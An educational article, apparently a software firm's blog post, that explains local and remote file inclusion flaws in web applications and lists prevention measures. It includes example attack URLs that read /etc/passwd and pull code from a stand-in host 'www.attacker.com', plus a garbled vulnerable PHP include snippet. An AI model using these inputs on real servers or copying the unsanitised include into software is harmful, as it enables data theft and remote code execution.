A file inclusion vulnerability can exist whenever a web application allows users to provide input that is used as code by the target application. Therefore, this vulnerability is most often found in web applications that use scripting programming languages.

File embedding types

A file injection vulnerability can be exploited when an application allows user input to be interpreted as a command (also known as dynamic file injection).

In this case, an attacker can instruct the application to create a path to a file containing malicious code and execute that file. In addition, attackers can also access files on the server and steal the sensitive data they contain.

Programming languages in which file inclusion vulnerabilities are common are PHP, JavaServer Pages (JSP), and Server SideIncludes (SSI).

This vulnerability is part of a more general injection vulnerability that is listed as one of the OWASP Top 10 Vulnerabilities. An attack that exploits this vulnerability could potentially lead to cross-site scripting (XSS), directory traversal, and remote code execution.

A file inclusion exploit occurs through the use of the "include" directive or similar file system functions. Developers typically use this feature for several reasons.

When specifying files that will be analyzed by the interpreter. To open a specific code file, you need to specify its path so that it is parsed and interpreted.

When printing on a page. To save time and avoid duplication of work, developers sometimes reuse certain parts of the code. Additionally, you can specify a file whose contents should be copied and used in the file containing the include statement.

When enabling files for users to download. To make files available for download rather than opening them in a web browser, a special header is included in the request.

In any of the above cases, improper handling of user input could open the door for attackers to include malicious code or gain access to sensitive data.

Attackers exploit two key file type inclusion vulnerabilities: local file inclusion (LFI) and remote file inclusion (RFI). Here's how they work.

Local file injection

The LFI vulnerability allows attackers to access or execute files hosted locally on an application server. This is possible in applications that allow a file path on the server as user input and do not sanitize such input.

Attackers can then use the file and the include function to reveal its contents or execute their code. If the server is running with high privileges, it can access sensitive data such as authentication data.

In some cases, applications may allow users to download unauthorized files, which allows attackers to download files containing malicious code.

Combined with an inclusion vulnerability, this opens the door for attackers to execute such code if they know the path to their file.

Remote file injection

A remote file inclusion (RFI) vulnerability is triggered by applications that dynamically reference external files or scripts without properly sanitizing them.

Using the vulnerability, an attacker forces the server to download and execute arbitrary files located in a remote location and capable of opening backdoor shells.

This could lead to data theft or corruption, damage to websites and installation of malware, or complete compromise and takeover of the server.

What is the difference between LFI and RFI?

Essentially, LFI and RFI exploits use the same strategy and exploit the same type of vulnerabilities.

The main difference between these two types of vulnerabilities is that when using the LFI vector, attackers target local file mount functions. These functions do not properly validate user-supplied input parameters.

When exploiting the RFI vector, attackers use link functions that allow them to specify paths to external files.

Example of an LFI attack

There are different ways to demonstrate what LFI might look like. One of the simplest examples of including a local file is a simple change or URL that gets through without filtering. For example, let's say you have this URL:

example.com/?module=1.php

If user input is not properly sanitized, an attacker could edit the URL something like this:

example.com/?module=/etc/passwd

If the server has a file inclusion vulnerability, it will simply continue to display the contents of the requested password file.

In the same way, by using characters such as "/", an attacker can traverse directories (also known as path traversal) to reach other files on the system, such as server log files.

Alternatively, if the server allows file uploads but does not validate them correctly, the user could upload something like an image containing code.

The file is then provided as input to the parser, causing it to run the code. An example of this could be:

example.com/?module=uploads/1.gif

Example of an RFI attack

Standard server configurations and instructions can make PHP scripts vulnerable to RFI attacks. Once an attacker discovers code that allows files to be included based on user input, they can use this to include an external file.

For example, in the following example, the value of the test file is open for user input:

example.com/1.php?testfile=example

If the statements in the code contain an include operator, for example:

$test = $_REQUEST[“testfile”];

Include($.”.php”);

As a result, an attacker could use this case to enable the deleted malicious file setting. It might look like this:

example.com/1.php?testfile=www.attacker.com/malicious_page

This will cause "malicious_page" to be placed in the vulnerable page "1.php", which will be executed every time the latter is accessed.

Regardless of whether the vulnerability is local or remote, vulnerabilities arise from "include" or "require" statements that allow unvalidated user input to be provided.

These instructions are necessary and valuable, but if they are not protected, they create security vulnerabilities. To exploit it, attackers must find the location where the vulnerability exists and provide malicious data for execution.

What are the consequences of exploiting the file inclusion vulnerability?

In the simplest case, exploitation of this vulnerability could lead to the disclosure and theft of sensitive data such as authentication credentials or server logs.

They can also lead to a website being hijacked or corrupted by malware, ultimately leading to the entire server being compromised and taken over. In addition, such vulnerabilities can lead to attacks such as remote code execution, cross-site scripting, and others.

How can LFI and RFI be prevented?

You can mitigate and prevent LFI and RFI in several ways. Proper input validation and cleaning plays a role in this, but it is a mistake to assume that this is enough.

Ideally, you should take the following measures to best prevent file inclusion attacks.

- Clean up user input, including GET/POST and URL parameters, cookie values, and HTTP header values. Apply server-side validation rather than client-side validation.

- Assign IDs to each file path and store them in a secure database so that users cannot view or change the path.

- Whitelist verified and protected files and file types, check file paths against this list and ignore everything else. Do not rely on blacklist checking, as attackers can bypass it.

- Use a database for files that may be compromised instead of storing them on a server.

- Limit execution permissions for download directories and the size of downloaded files.

- Improve server instructions, for example by automatically sending download headers instead of executing files in a specific directory.

- Avoid directory traversal by limiting the API to only include files from a specific directory.

- Run tests to determine if your code is vulnerable to file inclusion exploits.

Mainton Company - custom software development and testing, system administration, SEO and online advertising since 2004.